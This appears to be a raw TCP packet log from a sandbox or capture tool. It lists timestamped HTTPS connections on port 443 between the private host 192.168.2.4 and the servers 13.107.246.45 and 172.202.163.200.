Nov 1, 2024 03:45:59.707252026 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.708565950 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.708648920 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.708693027 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.708720922 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.708725929 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.708767891 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.708770990 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.710706949 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.710721016 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.710887909 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.710887909 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.710906029 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.722296000 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.722347975 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.722604036 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.722661018 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.722670078 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.722680092 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.722685099 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.724426985 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.724442005 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.724520922 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.724636078 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.724651098 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.006069899 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.006083012 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.433269024 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.433579922 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.433836937 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.433854103 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.434075117 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.434083939 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.434602022 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.434602022 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.434609890 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.434624910 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.462547064 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.462950945 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.462965012 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.463427067 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.463432074 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.463884115 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.464215994 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.464234114 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.464652061 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.464658022 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.494223118 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.494565964 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.494581938 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.494963884 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.494970083 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.565471888 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.565568924 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.565618992 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.565820932 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.565820932 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.565838099 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.565850019 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.568959951 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.568979979 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.569163084 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.569344997 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.569355965 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.595344067 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.596111059 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.596165895 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.596193075 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.596209049 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.596218109 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.596224070 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.596363068 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.596431017 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.596489906 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.596667051 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.596667051 CET	49776	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.596678972 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.596688986 CET	443	49776	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.599186897 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.599211931 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.599364042 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.599400997 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.599438906 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.599457979 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.599649906 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.599667072 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.599687099 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.599699974 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.631206036 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.631433964 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.631602049 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.631628990 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.631639004 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.631652117 CET	49777	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.631655931 CET	443	49777	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.634514093 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.634541035 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.634601116 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.634737015 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.634752989 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.649413109 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.649570942 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.649627924 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.649681091 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.649681091 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.649703026 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.649730921 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.651870012 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.651926041 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:00.651995897 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.652264118 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:00.652307987 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.308753967 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.310611963 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.310641050 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.311136961 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.311144114 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.327302933 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.330363035 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.330378056 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.330812931 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.330817938 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.331252098 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.334316969 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.334336042 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.334686995 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.334692955 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.380331993 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.380919933 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.380927086 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.381711960 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.381715059 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.407912970 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.410398960 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.410412073 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.410907984 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.410914898 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.427755117 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:01.427782059 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:01.427884102 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:01.428365946 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:01.428384066 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:01.444433928 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.444490910 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.444608927 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.458527088 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.458606005 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.458708048 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.461344004 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.461420059 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.462011099 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.511063099 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.511188984 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.511274099 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.514111042 CET	49778	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.514133930 CET	443	49778	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.521830082 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.521835089 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.521867037 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.521871090 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.522984028 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.522989035 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.523027897 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.523031950 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.523984909 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.524009943 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.524024010 CET	49779	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.524029016 CET	443	49779	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.532896042 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.532938957 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.533021927 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.539937973 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.539956093 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.545572042 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.545959949 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.546036005 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.548628092 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.548650026 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.548710108 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.552344084 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.552361965 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.552385092 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.552391052 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.552597046 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.552628040 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.894179106 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.894227982 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.894320011 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.894840956 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.894903898 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.894958019 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.895379066 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.895416975 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.895478010 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.901998043 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.902014017 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.902132988 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.902158976 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:01.902298927 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:01.902312994 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.189393997 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.189464092 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:02.191613913 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:02.191622019 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.191876888 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.201714039 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:02.243371964 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.272538900 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.273185968 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.273205042 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.273658991 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.273665905 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.286195993 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.286674976 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.286695004 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.287209034 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.287211895 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.400037050 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.400576115 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.400633097 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.400706053 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.400727987 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.400741100 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.400748968 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.404032946 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.404073954 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.404143095 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.404350042 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.404377937 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.415474892 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.415618896 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.415666103 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.415710926 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.415724039 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.415736914 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.415743113 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.418319941 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.418339014 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.418401003 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.418543100 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.418555021 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.452294111 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.452316999 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.452332973 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.452368021 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:02.452378035 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.452419043 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:02.569020987 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.569056988 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.569091082 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:02.569106102 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.569137096 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:02.569356918 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:02.569358110 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:02.569370031 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.569529057 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.569561005 CET	443	49783	172.202.163.200	192.168.2.4
Nov 1, 2024 03:46:02.569600105 CET	49783	443	192.168.2.4	172.202.163.200
Nov 1, 2024 03:46:02.627357960 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.627865076 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.627899885 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.628354073 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.628361940 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.635281086 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.635626078 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.635651112 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.636038065 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.636043072 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.655942917 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.657105923 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.657128096 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.657721996 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.657727957 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.763693094 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.763772011 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.764046907 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.764046907 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.764080048 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.764102936 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.767206907 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.767251968 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.767407894 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.767564058 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.767577887 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.773572922 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.773627043 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.773791075 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.773791075 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.773984909 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.773998022 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.775799990 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.775823116 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.775928974 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.776041031 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.776052952 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.788801908 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.788849115 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.789037943 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.789037943 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.789757967 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.789772987 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.791135073 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.791153908 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:02.791354895 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.791354895 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:02.791379929 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.152724028 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.155086040 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.161684036 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.161710024 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.163088083 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.163099051 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.163772106 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.163794041 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.174891949 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.174918890 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.290556908 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.290779114 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.290868044 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.291085005 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.291122913 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.291163921 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.291181087 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.293992043 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.294014931 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.298237085 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.298237085 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.298258066 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.300534964 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.300621986 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.302079916 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.302079916 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.302181005 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.302191973 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.304119110 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.304142952 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.304290056 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.305989981 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.306000948 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.486350060 CET	443	49791	13.107.246.45	192.168.2.4
